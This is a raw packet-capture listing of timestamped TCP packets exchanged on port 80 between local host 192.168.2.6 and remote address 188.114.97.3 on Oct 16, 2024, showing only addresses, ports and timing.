                                                                                    Oct 16, 2024 10:58:24.020791054 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.020792961 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.020844936 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.020844936 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.021625996 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.021708965 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.021717072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.021754026 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.021768093 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.021778107 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.021783113 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.021786928 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.021789074 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.021796942 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.021806955 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.021816015 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.021816969 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.021842003 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.021857023 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.021920919 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.021930933 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.021945000 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.021955013 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.021965027 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.021965981 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.021991014 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.022006989 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.022026062 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.022036076 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.022049904 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.022054911 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.022068024 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.022073984 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.022104025 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.022154093 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.022164106 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.022172928 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.022181988 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.022191048 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.022285938 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.022288084 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.022296906 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.022308111 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.022317886 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.022332907 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.022346973 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.022362947 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.022371054 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.022375107 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.022386074 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.022396088 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.022403955 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.022409916 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.022433996 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.022906065 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.022914886 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.022922993 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.022938013 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.022947073 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.022948980 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.022958040 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.022964001 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.022968054 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.022980928 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.022991896 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.023015976 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.023215055 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.023222923 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.023231030 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.023241043 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.023252010 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.023269892 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.023288012 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.023310900 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.023346901 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.023379087 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.023397923 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.023415089 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.023431063 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.024342060 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.024353027 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.024389029 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.024530888 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.024565935 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.024569988 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.024583101 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.024625063 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.024626970 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.024635077 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.024646044 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.024653912 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.024671078 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.024687052 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.024713039 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.024724007 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.024733067 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.024743080 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.024753094 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.024755001 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.024779081 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.024801016 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.024846077 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.024856091 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.024869919 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.024880886 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.024888039 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.024889946 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.024902105 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.024910927 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.024912119 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.024924040 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.024930954 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.024935007 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.024941921 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.024944067 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.024954081 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.024961948 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.024969101 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.024997950 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.026360989 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.026372910 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.026381016 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.026429892 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.026439905 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.026448965 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.026460886 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.026498079 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.026509047 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.026518106 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.026525974 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.026593924 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.026595116 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.026595116 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.026595116 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.026595116 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.026595116 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.026595116 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.029819012 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.029841900 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.029891968 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.029985905 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030092955 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030102015 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030111074 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030121088 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030134916 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.030152082 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.030167103 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030178070 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030185938 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030195951 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030200958 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030203104 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.030215979 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030225039 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030234098 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030236006 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.030260086 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.030276060 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.030342102 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030353069 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030361891 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030370951 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030380011 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030388117 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.030391932 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030402899 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030412912 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030414104 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.030436039 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.030453920 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.030481100 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030492067 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030502081 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030510902 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030519009 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.030519962 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030531883 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030543089 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030544043 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.030551910 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.030570984 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.030589104 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.067807913 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.067830086 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.067840099 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.067850113 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.067859888 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.067867994 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.067907095 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.067938089 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.111613035 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.111702919 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.111768961 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.111780882 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.111785889 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.111800909 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.111829996 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.111833096 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.111841917 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.111855984 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.111865044 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.111870050 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.111879110 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.111887932 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.111892939 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.111892939 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.111910105 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.111912966 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.111922026 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.111931086 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.111937046 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.111942053 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.111953974 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.111958981 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.111963987 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.111975908 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.111991882 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.112014055 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.125914097 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.125941992 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.125952005 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.126005888 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.126007080 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.137424946 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.137445927 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.137456894 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.137468100 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.137480021 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.137481928 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.137490988 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.137517929 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.137533903 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.138979912 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.138993979 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139005899 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139029026 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139044046 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139101028 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139131069 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139143944 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139190912 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139210939 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139215946 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139215946 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139215946 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139225960 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139235020 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139252901 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139261007 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139271975 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139282942 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139292955 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139309883 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139322042 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139322042 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139322042 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139364958 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139378071 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139398098 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139413118 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139425039 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139429092 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139441967 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139441967 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139453888 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139486074 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139501095 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139512062 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139523029 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139523983 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139537096 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139539957 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139554024 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139555931 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139580011 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139584064 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139595032 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139611959 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139614105 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139625072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139630079 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139637947 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139648914 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139653921 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139659882 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139678955 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139684916 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139692068 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139703989 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139707088 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139727116 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139736891 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139738083 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139760017 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139785051 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139787912 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139800072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139811039 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139823914 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139837980 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139853001 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.139962912 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139975071 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139986038 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.139997005 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.140005112 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.140028000 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.140057087 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.140058041 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.140070915 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.140108109 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.140140057 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.140150070 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.140160084 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.140176058 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.140176058 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.140192032 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.140216112 CEST4980280192.168.2.6188.114.97.3
